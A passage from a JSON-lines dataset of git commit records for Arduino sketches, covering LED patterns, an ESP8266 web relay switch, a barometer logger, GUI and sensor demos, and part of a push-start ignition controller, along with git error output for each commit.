colorRed);\n lefteye.setPixelColor(137, colorRed);\n lefteye.setPixelColor(138, colorRed);\n lefteye.setPixelColor(140, colorWhite);\n lefteye.setPixelColor(141, colorWhite);\n lefteye.setPixelColor(144, colorRed);\n lefteye.setPixelColor(145, colorRed);\n lefteye.setPixelColor(148, colorWhite);\n lefteye.setPixelColor(149, colorWhite);\n lefteye.setPixelColor(150, colorWhite);\n lefteye.setPixelColor(152, colorRed);\n lefteye.setPixelColor(153, colorRed);\n lefteye.setPixelColor(155, colorWhite);\n lefteye.setPixelColor(156, colorWhite);\n lefteye.setPixelColor(157, colorWhite);\n lefteye.setPixelColor(158, colorWhite);\n lefteye.setPixelColor(159, colorWhite);\n lefteye.setPixelColor(160, colorRed);\n lefteye.setPixelColor(162, colorWhite);\n lefteye.setPixelColor(163, colorWhite);\n lefteye.setPixelColor(164, colorWhite);\n lefteye.setPixelColor(168, colorRed);\n lefteye.setPixelColor(174, colorRed);\n lefteye.setPixelColor(175, colorRed);\n lefteye.setPixelColor(180, colorRed);\n lefteye.setPixelColor(181, colorRed);\n lefteye.setPixelColor(182, colorRed);\n lefteye.setPixelColor(186, colorRed);\n lefteye.setPixelColor(187, colorRed);\n lefteye.setPixelColor(188, colorRed);\n lefteye.setPixelColor(189, colorRed);\n lefteye.setPixelColor(190, colorRed);\n lefteye.setPixelColor(194, colorRed);\n lefteye.setPixelColor(195, colorRed);\n lefteye.setPixelColor(196, colorRed);\n lefteye.setPixelColor(197, colorRed);\n lefteye.setPixelColor(198, colorRed);\n lefteye.setPixelColor(204, colorRed);\n lefteye.setPixelColor(205, colorRed);\n lefteye.setPixelColor(206, colorRed);\n lefteye.setPixelColor(208, colorRed);\n lefteye.setPixelColor(210, colorWhite);\n lefteye.setPixelColor(211, colorWhite);\n lefteye.setPixelColor(214, colorRed);\n lefteye.setPixelColor(215, colorRed);\n lefteye.setPixelColor(216, colorRed);\n lefteye.setPixelColor(218, colorWhite);\n lefteye.setPixelColor(219, colorWhite);\n lefteye.setPixelColor(220, colorWhite);\n lefteye.setPixelColor(224, colorRed);\n lefteye.setPixelColor(225, colorRed);\n lefteye.setPixelColor(227, colorWhite);\n lefteye.setPixelColor(228, colorWhite);\n lefteye.setPixelColor(229, colorWhite);\n lefteye.setPixelColor(230, colorWhite);\n lefteye.setPixelColor(231, colorWhite);\n lefteye.setPixelColor(232, colorRed);\n lefteye.setPixelColor(233, colorRed);\n lefteye.setPixelColor(236, colorWhite);\n lefteye.setPixelColor(237, colorWhite);\n lefteye.setPixelColor(238, colorWhite);\n lefteye.setPixelColor(240, colorRed);\n lefteye.setPixelColor(241, colorRed);\n lefteye.setPixelColor(242, colorRed);\n lefteye.setPixelColor(244, colorWhite);\n lefteye.setPixelColor(245, colorWhite);\n lefteye.setPixelColor(250, colorRed);\n lefteye.setPixelColor(252, colorWhite);\n righteye.setPixelColor(3, colorWhite);\n righteye.setPixelColor(5, colorRed);\n righteye.setPixelColor(10, colorWhite);\n righteye.setPixelColor(11, colorWhite);\n righteye.setPixelColor(13, colorRed);\n righteye.setPixelColor(14, colorRed);\n righteye.setPixelColor(15, colorRed);\n righteye.setPixelColor(17, colorWhite);\n righteye.setPixelColor(18, colorWhite);\n righteye.setPixelColor(19, colorWhite);\n righteye.setPixelColor(22, colorRed);\n righteye.setPixelColor(23, colorRed);\n righteye.setPixelColor(24, colorWhite);\n righteye.setPixelColor(25, colorWhite);\n righteye.setPixelColor(26, colorWhite);\n righteye.setPixelColor(27, colorWhite);\n righteye.setPixelColor(28, colorWhite);\n righteye.setPixelColor(30, colorRed);\n righteye.setPixelColor(31, colorRed);\n righteye.setPixelColor(35, colorWhite);\n righteye.setPixelColor(36, colorWhite);\n righteye.setPixelColor(37, colorWhite);\n righteye.setPixelColor(39, colorRed);\n righteye.setPixelColor(40, colorRed);\n righteye.setPixelColor(41, colorRed);\n righteye.setPixelColor(44, colorWhite);\n righteye.setPixelColor(45, colorWhite);\n righteye.setPixelColor(47, colorRed);\n righteye.setPixelColor(49, colorRed);\n righteye.setPixelColor(50, colorRed);\n righteye.setPixelColor(51, colorRed);\n righteye.setPixelColor(57, colorRed);\n righteye.setPixelColor(58, colorRed);\n righteye.setPixelColor(59, colorRed);\n righteye.setPixelColor(60, colorRed);\n righteye.setPixelColor(61, colorRed);\n righteye.setPixelColor(65, colorRed);\n righteye.setPixelColor(66, colorRed);\n righteye.setPixelColor(67, colorRed);\n righteye.setPixelColor(68, colorRed);\n righteye.setPixelColor(69, colorRed);\n righteye.setPixelColor(73, colorRed);\n righteye.setPixelColor(74, colorRed);\n righteye.setPixelColor(75, colorRed);\n righteye.setPixelColor(80, colorRed);\n righteye.setPixelColor(81, colorRed);\n righteye.setPixelColor(84, colorWhite);\n righteye.setPixelColor(85, colorWhite);\n righteye.setPixelColor(87, colorRed);\n righteye.setPixelColor(91, colorWhite);\n righteye.setPixelColor(92, colorWhite);\n righteye.setPixelColor(93, colorWhite);\n righteye.setPixelColor(95, colorRed);\n righteye.setPixelColor(96, colorWhite);\n righteye.setPixelColor(97, colorWhite);\n righteye.setPixelColor(98, colorWhite);\n righteye.setPixelColor(99, colorWhite);\n righteye.setPixelColor(100, colorWhite);\n righteye.setPixelColor(102, colorRed);\n righteye.setPixelColor(103, colorRed);\n righteye.setPixelColor(105, colorWhite);\n righteye.setPixelColor(106, colorWhite);\n righteye.setPixelColor(107, colorWhite);\n righteye.setPixelColor(110, colorRed);\n righteye.setPixelColor(111, colorRed);\n righteye.setPixelColor(114, colorWhite);\n righteye.setPixelColor(115, colorWhite);\n righteye.setPixelColor(117, colorRed);\n righteye.setPixelColor(118, colorRed);\n righteye.setPixelColor(119, colorRed);\n righteye.setPixelColor(123, colorWhite);\n righteye.setPixelColor(125, colorRed);\n righteye.setPixelColor(131, colorWhite);\n righteye.setPixelColor(133, colorRed);\n righteye.setPixelColor(138, colorWhite);\n righteye.setPixelColor(139, colorWhite);\n righteye.setPixelColor(141, colorRed);\n righteye.setPixelColor(142, colorRed);\n righteye.setPixelColor(143, colorRed);\n righteye.setPixelColor(145, colorWhite);\n righteye.setPixelColor(146, colorWhite);\n righteye.setPixelColor(147, colorWhite);\n righteye.setPixelColor(150, colorRed);\n righteye.setPixelColor(151, colorRed);\n righteye.setPixelColor(152, colorWhite);\n righteye.setPixelColor(153, colorWhite);\n righteye.setPixelColor(154, colorWhite);\n righteye.setPixelColor(155, colorWhite);\n righteye.setPixelColor(156, colorWhite);\n righteye.setPixelColor(158, colorRed);\n righteye.setPixelColor(159, colorRed);\n righteye.setPixelColor(163, colorWhite);\n righteye.setPixelColor(164, colorWhite);\n righteye.setPixelColor(165, colorWhite);\n righteye.setPixelColor(167, colorRed);\n righteye.setPixelColor(168, colorRed);\n righteye.setPixelColor(169, colorRed);\n righteye.setPixelColor(172, colorWhite);\n righteye.setPixelColor(173, colorWhite);\n righteye.setPixelColor(175, colorRed);\n righteye.setPixelColor(177, colorRed);\n righteye.setPixelColor(178, colorRed);\n righteye.setPixelColor(179, colorRed);\n righteye.setPixelColor(185, colorRed);\n righteye.setPixelColor(186, colorRed);\n righteye.setPixelColor(187, colorRed);\n righteye.setPixelColor(188, colorRed);\n righteye.setPixelColor(189, colorRed);\n righteye.setPixelColor(193, colorRed);\n righteye.setPixelColor(194, colorRed);\n righteye.setPixelColor(195, colorRed);\n righteye.setPixelColor(196, colorRed);\n righteye.setPixelColor(197, colorRed);\n righteye.setPixelColor(201, colorRed);\n righteye.setPixelColor(202, colorRed);\n righteye.setPixelColor(203, colorRed);\n righteye.setPixelColor(208, colorRed);\n righteye.setPixelColor(209, colorRed);\n righteye.setPixelColor(212, colorWhite);\n righteye.setPixelColor(213, colorWhite);\n righteye.setPixelColor(215, colorRed);\n righteye.setPixelColor(219, colorWhite);\n righteye.setPixelColor(220, colorWhite);\n righteye.setPixelColor(221, colorWhite);\n righteye.setPixelColor(223, colorRed);\n righteye.setPixelColor(224, colorWhite);\n righteye.setPixelColor(225, colorWhite);\n righteye.setPixelColor(226, colorWhite);\n righteye.setPixelColor(227, colorWhite);\n righteye.setPixelColor(228, colorWhite);\n righteye.setPixelColor(230, colorRed);\n righteye.setPixelColor(231, colorRed);\n righteye.setPixelColor(233, colorWhite);\n righteye.setPixelColor(234, colorWhite);\n righteye.setPixelColor(235, colorWhite);\n righteye.setPixelColor(238, colorRed);\n righteye.setPixelColor(239, colorRed);\n righteye.setPixelColor(242, colorWhite);\n righteye.setPixelColor(243, colorWhite);\n righteye.setPixelColor(245, colorRed);\n righteye.setPixelColor(246, colorRed);\n righteye.setPixelColor(247, colorRed);\n righteye.setPixelColor(251, colorWhite);\n righteye.setPixelColor(253, colorRed);\n righteye.show();\n lefteye.show(); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'NRF52832\/Wrench-Mask-BLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"38a98a2ac9ee24b7b411fdf97c759b31fba81111","subject":"Update ProbeCube_pp_099b0224.ino","message":"Update ProbeCube_pp_099b0224.ino","repos":"Lafudoci\/ProbeCube","old_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_file":"Arduino with cc3000wifi based\/Code\/ProbeCube_pp_099b0224.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'with' did not match any file(s) known to git\nerror: pathspec 'cc3000wifi' did not match any file(s) known to git\nerror: pathspec 'based\/Code\/ProbeCube_pp_099b0224.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dfcfe810799cab01847ce399f5525719f4df6191","subject":"Update pt_remote controlled car.ino","message":"Update pt_remote controlled car.ino","repos":"billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino,billhhh\/bill_ProtoThreads_arduino","old_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_file":"pt_remote controlled car\/pt_remote controlled car.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car\/pt_remote' did not match any file(s) known to git\nerror: pathspec 'controlled' did not match any file(s) known to git\nerror: pathspec 'car.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7d4d1860badf3f996ccbc7f8dc48b7effb5c5938","subject":"implementation for PWM generatation \tnew file: PWM_generation_expriment\/PWM_generation_expriment.ino","message":"implementation for PWM generatation\n\tnew file: PWM_generation_expriment\/PWM_generation_expriment.ino\n","repos":"Mooophy\/stepper-gui-control","old_file":"PWM_generation_expriment\/PWM_generation_expriment.ino","new_file":"PWM_generation_expriment\/PWM_generation_expriment.ino","new_contents":"const int pwm = 13;\n\nint count = 12;\n\n\nvoid setup() { \n pinMode(pwm, OUTPUT); \n}\n\nvoid loop() {\n\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PWM_generation_expriment\/PWM_generation_expriment.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"65ac297491581575bfad9771096c6136fc7248f7","subject":"revert sensors data","message":"revert sensors data\n","repos":"axibase\/arduino,axibase\/arduino,axibase\/arduino","old_file":"dataTransmission\/atsd_serial_example\/atsd_serial_example.ino","new_file":"dataTransmission\/atsd_serial_example\/atsd_serial_example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/axibase\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"735778f108f26c832e6140ee3ac4a6e7ca8163d0","subject":"add inc\/dec enum","message":"add inc\/dec enum\n","repos":"mcelligottnick\/digitalPotController,mcelligottnick\/digitalPotController","old_file":"arduino\/digitalPotController\/digitalPotController.ino","new_file":"arduino\/digitalPotController\/digitalPotController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcelligottnick\/digitalPotController.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8c47a64462b8aabeb71ac2eb210d3344143a00aa","subject":"Create Web-Schalter-1.0.ino","message":"Create Web-Schalter-1.0.ino","repos":"flexdigit\/ESP8266","old_file":"Web-Schalter-1.0.ino","new_file":"Web-Schalter-1.0.ino","new_contents":"\/*\n * von\n * http:\/\/esp8266-server.de\/\n *\/\n\n \/\/ Schalte GPO0 mit Button und Java im Access Point modus WLAN-Hotspot \"astral\" pass \"12345678\"\n \n#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n \nString html1 = \"<!DOCTYPE html>\\r\\n<html>\\r\\n\\\n<head>\\r\\n<meta content=\\\"text\/html; charset=ISO-8859-1\\\" http-equiv=\\\"content-type\\\">\\r\\n\\\n<title>WebSchalter<\/title>\\r\\n\\\n<form action=\\\"\";\n\/\/ String((val)?\"\/1.html\":\"\/0.html\")\nString html2 = \"\\\">\\r\\n<input value=\\\"ON\/OFF\\\" style=\\\"\";\nString html3 = \" width:5em;height:3em; font-size: 16px;\\\" type=\\\"submit\\\">\\\n<\/form>\\r\\n<\/head>\\r\\n<body>\\r\\n<\/body>\\r\\n<\/html>\";\n \nESP8266WebServer server(80); \/\/ Server Port hier einstellen\nint val = 1; \/\/Startzustand ausgeschaltet\nString Temp = \"\";\n \nvoid Ereignis_SchalteON() \/\/ Wird ausgefuehrt wenn \"http:\/\/<ip address>\/1.html\" aufgerufen wurde\n{\n val = 0; \/\/ Relais Aus\n digitalWrite(0, val); \/\/ GPIO0\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid Ereignis_SchalteOFF() \/\/ Wird ausgefuehrt wenn \"http:\/\/<ip address>\/\/0.html\" aufgerufen wurde\n{\n val = 1; \/\/ Relais Ein\n digitalWrite(0, val); \/\/ GPIO0\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid Ereignis_Index() \/\/ Wird ausgeuehrt wenn \"http:\/\/<ip address>\/\" aufgerufen wurde\n{\n Temp = html1 + String((val) ? \"\/1.html\" : \"\/0.html\");\n Temp += html2 + String((val) ? \"BACKGROUND-COLOR: DarkGray;\" : \"BACKGROUND-COLOR: Chartreuse;\") + html3;\n server.send(200, \"text\/html\", Temp);\n}\n \nvoid setup()\n{\n digitalWrite(0, 1); \/\/ Anfangszustand 1 (Relais ausgeschaltet)\n pinMode(0, OUTPUT); \/\/ GPIO0 als Ausgang konfigurieren\n pinMode(2, INPUT_PULLUP); \/\/ GPIO2 als Eingang mit Pullup konfigurieren\n digitalWrite(0, 1); \/\/ Anfangszustand 1 (Relais ausgeschaltet)\n \n Serial.begin(115200); \/\/ Serielle schnittstelle initialisieren\n Serial.println(\"\"); \/\/ Lehere Zeile ausgeben\n Serial.println(\"Starte WLAN-Hotspot \\\"astral\\\"\");\n \n WiFi.mode(WIFI_AP); \/\/ access point modus\n WiFi.softAP(\"astral\", \"12345678\"); \/\/ Name des Wi-Fi netzes\n \n delay(500); \/\/Abwarten 0,5s\n Serial.print(\"IP Adresse \"); \/\/Ausgabe aktueller IP des Servers\n Serial.println(WiFi.softAPIP());\n \n \/\/ Bechandlung der Ereignissen anschlissen\n server.on(\"\/\", Ereignis_Index);\n server.on(\"\/1.html\", Ereignis_SchalteON);\n server.on(\"\/0.html\", Ereignis_SchalteOFF);\n \n server.begin(); \/\/ Starte den Server\n Serial.println(\"HTTP Server gestartet\");\n}\n \nvoid loop()\n{\n server.handleClient();\n if (!digitalRead(2)) \/\/Wenn Taster an GPIO2 betetigt wurde\n {\n val = !val; \/\/ Schaltzuschtand andern\n digitalWrite(0, val);\n while (!digitalRead(2))\n server.handleClient(); \/\/ Warten bis der Taster losgelassen wird.\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Web-Schalter-1.0.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d12e31ba5e3244cbabe5e2c5b1b0794307ae7a8b","subject":"Create Baro_logger.ino","message":"Create Baro_logger.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/Baro_logger.ino","new_file":"ESP8266-code\/Baro_logger.ino","new_contents":"\/*\n * This sketch sends data via HTTP GET request to my server\n * Chris Wallace \n*\/\n\n#include <ESP8266WiFi.h>\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BMP085_U.h>\n\nAdafruit_BMP085_Unified bmp = Adafruit_BMP085_Unified(10085);\n\nint delayMinutes = 1;\nint elevation = 50; \/\/ height of Morely Sq in m\n\nconst char* ssid = \"ssid\";\nconst char* password = \"password\";\n\nconst char* host = \"kitwallace.co.uk\";\nconst char* streamId = \"streamid\";\nconst char* privateKey = \"pk\";\n\nfloat pressure = 0;\nfloat temp = 0;\n\nvoid setup() {\n \/* Initialise the sensor *\/\n if(!bmp.begin())\n {\n \/* There was a problem detecting the BMP085 ... check your connections *\/\n Serial.print(\"Ooops, no BMP085 detected ... Check your wiring or I2C ADDR!\");\n while(1);\n }\n Serial.begin(9600);\n delay(10);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n\n Serial.print(\"connecting to \");\n Serial.println(host);\n \n \/\/ Use WiFiClient class to create TCP connections\n WiFiClient client;\n const int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n Serial.println(\"connected\");\n \/\/ get data\n\n bmp.getPressure(&pressure);\n bmp.getTemperature(&temp);\n float pressure_mb = pressure\/100;\n float SL_pressure = pressure_mb + elevation\/9.2;\n \n\/\/ We now create a URI for the request\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += streamId;\n url += \"&_pk=\";\n url += privateKey;\n url += \"&temp=\";\n url += temp;\n url += \"&pressure=\";\n url += SL_pressure;\n \n Serial.print(\"Requesting URL: \");\n Serial.println(url);\n \n \/\/ This will send the request to the server\n client.print(String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\");\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n ESP.deepSleep(delayMinutes*60*1000000);\n}\n\nvoid loop() {}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/Baro_logger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"89cce9f37a0da2dfda22aacbf6ce9a023599667d","subject":"Added example","message":"Added example\n\nAdded a Dial example\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/TGUI_Sample_Dial\/TGUI_Sample_Dial.ino","new_file":"examples\/TGUI_Sample_Dial\/TGUI_Sample_Dial.ino","new_contents":"\/* \n * Sample template\n * \n * Created by: Jose Rullan\n * Date: February 16, 2019\n *\/\n\n\/\/ Touch driver specific Canvas include:\n#include <Canvas_XPT2046.h>\n\n\/\/ Widgets includes here:\n#include <Dial.h>\n#include <Button.h>\n\n\/\/ Architecture specific pins:\n\/\/ For Wemos Mini D1 (ESP8266)\n#define TFT_CS 16 \/\/ Wemos D1 Mini D0\n#define TFT_DS 15 \/\/ Wemos D1 Mini D8\n#define TS_CS 0 \/\/ Wemos D1 Mini D3\n\/\/ For MH-ET Live esp32 MiniKit (ESP32)\n#define TFT_CS 26 \/\/ esp32 MiniKit D0\n#define TFT_DS 5 \/\/ esp32 MiniKit D8\n#define TS_CS 17 \/\/ esp32 MiniKit D3\n\n\/\/ TGUI's objects declarations:\nCanvas_XPT2046 canvas = Canvas_XPT2046(TFT_PORTRAIT,BLACK,TFT_CS,TFT_DS,TS_CS);\nDial dial = Dial();\nButton btnPlus = Button(20,GRAY1,WHITE,ILI9341_LIGHTGREY); \/\/Initialization version for round buttons\nButton btnMinus = Button(20,GRAY1,WHITE,ILI9341_LIGHTGREY); \/\/Initialization version for round buttons\n\nconst int increment = 1;\n\n\/\/==================================\n\/\/ EVENT HANDLING ROUTINES\n\/\/==================================\nvoid btnPlusEventHandler(Button* btn){\n if(dial.getCV() >= dial.scaleMax){\n Serial.println(\"Maximum value reached\");\n return;\n }\n dial.setCV(dial.getCV()+increment);\n}\n\nvoid btnMinusEventHandler(Button* btn){\n if(dial.getCV() <= dial.scaleMin){\n Serial.println(\"Minimum value reached\");\n return;\n }\n dial.setCV(dial.getCV()-increment);\n}\n\n\/\/==================================\n\/\/ SETUP\n\/\/==================================\nvoid guiSetup(){\n canvas.init();\n \n\t\/\/ Add GUI initialization code here:\n btnPlus.setText(\"+\");\n btnPlus.setEventHandler(&btnPlusEventHandler);\n btnPlus.setDebounce(25); \n\n btnMinus.setText(\"-\");\n btnMinus.setEventHandler(&btnMinusEventHandler);\n btnMinus.setDebounce(25); \n\n dial.init();\n dial.setSize(50);\n dial.borderWidth = 5;\n dial.setColors(BLACK,GREEN,ILI9341_LIGHTGREY);\n dial.setLimits(60,70,90);\n dial.setHiLimit(75,RED);\n dial.setSP(70,BLUE);\n dial.setLowLimit(70,BLUE);\n dial.setCV(72,false);\n \n\tcanvas.add(&dial,100,160);\n canvas.add(&btnPlus,160,160 - dial.radius);\n canvas.add(&btnMinus,160,160 + dial.radius - btnMinus.h);\n}\n\n\/\/==================================\n\/\/ Application Code\n\/\/==================================\n\nvoid setup() {\n Serial.begin(115200);\n guiSetup();\n}\n\nvoid loop() {\n canvas.scan();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TGUI_Sample_Dial\/TGUI_Sample_Dial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c99c1b7c40eb50bffab738e71303ef0a85af56f6","subject":"New Branch","message":"New Branch\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"af72e653902fb08dd52d1a5f5ad0cf0ea9cb6a9f","subject":"added ir_receiver_demo","message":"added ir_receiver_demo\n","repos":"TinkerUMD\/TinkerUMD","old_file":"demos\/ir_receiver_demo\/ir_receiver_demo.ino","new_file":"demos\/ir_receiver_demo\/ir_receiver_demo.ino","new_contents":"\/\/ir_receiver_demo\n\n\/\/preprocessor define of the receiver pin\n#define IR_RECEIVER_PIN 2\n\n\/\/runs once at beginning\nvoid setup(){\n \/\/initialize serial communication\n Serial.begin(9600);\n \n \/\/set the IR receiver pin to input\n pinMode(IR_RECEIVER_PIN,INPUT);\n}\n\n\/\/repeats continuously\nvoid loop(){\n \/\/digital read into the variable ir_receiver_reading\n int ir_receiver_reading = digitalRead(IR_RECEIVER_PIN);\n \n \/\/display the reading\n Serial.println(ir_receiver_reading);\n \n \/\/wait 30 miliseconds\n delay(30);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demos\/ir_receiver_demo\/ir_receiver_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"23aa5077eaaecc556955c9411447167fcddc172e","subject":"Bugfixes and improvements","message":"Bugfixes and improvements\n","repos":"frofro1964\/Arduino-Auto-Gauge","old_file":"grahams' test code\/experimental_stepper_code\/experimental_stepper_code.ino","new_file":"grahams' test code\/experimental_stepper_code\/experimental_stepper_code.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"apache-2.0","lang":"Arduino"} {"commit":"cebd222eeacbe2ceca804c27ca493ac3cbb5b78d","subject":"First commit. Print length of press to serial.","message":"First commit. Print length of press to serial.\n","repos":"DTSavaria\/ArduinoMorseCodeDecoder","old_file":"MorseCodeDecoder.ino","new_file":"MorseCodeDecoder.ino","new_contents":"\/**\n * (c) 2017 Daniel Savaria\n * Released under the MIT license\n *\/\n\nconst int LED = LED_BUILTIN;\nconst int BUTTON = 7;\n\nint inputVal = LOW;\nint previousInputVal = LOW;\nunsigned long holdStart = 0;\nunsigned long currentHold = 0;\nunsigned long previousHold = 0;\n\nvoid setup() {\n pinMode(LED, OUTPUT);\n pinMode(BUTTON, INPUT_PULLUP);\n\n Serial.begin(9600);\n\n}\n\nvoid loop() {\n inputVal = (digitalRead(BUTTON) == HIGH) ? LOW : HIGH; \/\/switch high and low because it's a pullup\n digitalWrite(LED, inputVal);\n\n if (inputVal == HIGH && previousInputVal == LOW) {\n holdStart = millis();\n }\n\n if (inputVal == HIGH) {\n currentHold = millis() - holdStart;\n } else {\n currentHold = 0;\n }\n\n if (currentHold < previousHold) {\n Serial.println(previousHold);\n }\n\n previousInputVal = inputVal;\n previousHold = currentHold;\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"05f64362218a33bc97e4b768361037ca8063a180","subject":"nom the subect and object run on a different counter","message":"nom the subect and object run on a different counter\n","repos":"rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge,rosalindfdt\/huzzahbadge","old_file":"subject_object\/subject_object.ino","new_file":"subject_object\/subject_object.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rosalindfdt\/huzzahbadge.git\/'\n","license":"artistic-2.0","lang":"Arduino"} {"commit":"e5795a4875a81efd55832ce0049ccd07ce6590d5","subject":"Modify LED patterns","message":"Modify LED patterns\n","repos":"abraha2d\/PushStart","old_file":"PushStart.ino","new_file":"PushStart.ino","new_contents":"\/*\n\n Push Start\n Arduino-based Keyless Ignition\n for 97-01 Toyota Camry (XV20)\n Designed by Kevin Abraham\n\n*\/\n\n#include <AnalogTouch.h>\n\n#define DEBUG 0\n\n#define BUTTON_PRESS_THRESHOLD 500\n\n#define pinACC 2\n#define pinIG1 4\n#define pinIG2 7\n#define pinST2 8\n\n#define pinCap A4\n#define pinLed 10\n\n\/\/ Slow down the automatic calibration cooldown\n#define offset 2 \/\/ <= 6\n\nbyte mode = 0;\n\/\/ 0 = off\n\/\/ 1 = accesory\n\/\/ 2 = ignition on\n\/\/ 3 = engine start\n\nbool pressed = false;\nunsigned long touchStart = 0;\n\nbyte ledAmp = 0;\nbyte ledShift = 0;\nint ledPeriod = 0;\nunsigned long fadeStart = 0;\n\nvoid setup() {\n\n \/\/ Bring relay pins low as soon as possible\n digitalWrite(pinACC, HIGH);\n digitalWrite(pinIG1, HIGH);\n digitalWrite(pinIG2, HIGH);\n digitalWrite(pinST2, HIGH);\n pinMode(pinACC, OUTPUT);\n pinMode(pinIG1, OUTPUT);\n pinMode(pinIG2, OUTPUT);\n pinMode(pinST2, OUTPUT);\n\n Serial.begin(57600);\n\n Serial.println();\n Serial.println(\" Push Start \");\n Serial.println(\" Arduino-based Keyless Ignition \");\n Serial.println(\" for 97-01 Toyota Camry (XV20) \");\n Serial.println(\" Designed by Kevin Abraham \");\n Serial.println();\n\n Serial.println(\"Mode: off\");\n Serial.flush();\n\n}\n\nvoid OFF() {\n mode = 0;\n digitalWrite(pinACC, HIGH); \/\/ 2-3\n digitalWrite(pinIG1, HIGH); \/\/ 2-4\n digitalWrite(pinIG2, HIGH); \/\/ 7-6\n digitalWrite(pinST2, HIGH); \/\/ 7-8\n ledShift = 48; ledAmp = 0;\n Serial.println(\"Mode: off\"); Serial.flush();\n}\n\nvoid ACC() {\n mode = 1;\n digitalWrite(pinACC, LOW); \/\/ 2-3\n digitalWrite(pinIG1, HIGH); \/\/ 2-4\n digitalWrite(pinIG2, HIGH); \/\/ 7-6\n digitalWrite(pinST2, HIGH); \/\/ 7-8\n ledShift = 96; ledAmp = 64;\n ledPeriod = 2000; fadeStart = millis();\n Serial.println(\"Mode: accessory\"); Serial.flush();\n}\n\nvoid ON() {\n mode = 2;\n digitalWrite(pinACC, LOW); \/\/ 2-3\n digitalWrite(pinIG1, LOW); \/\/ 2-4\n digitalWrite(pinIG2, LOW); \/\/ 7-6\n digitalWrite(pinST2, HIGH); \/\/ 7-8\n ledShift = 32; ledAmp = 0;\n Serial.println(\"Mode: ignition on\"); 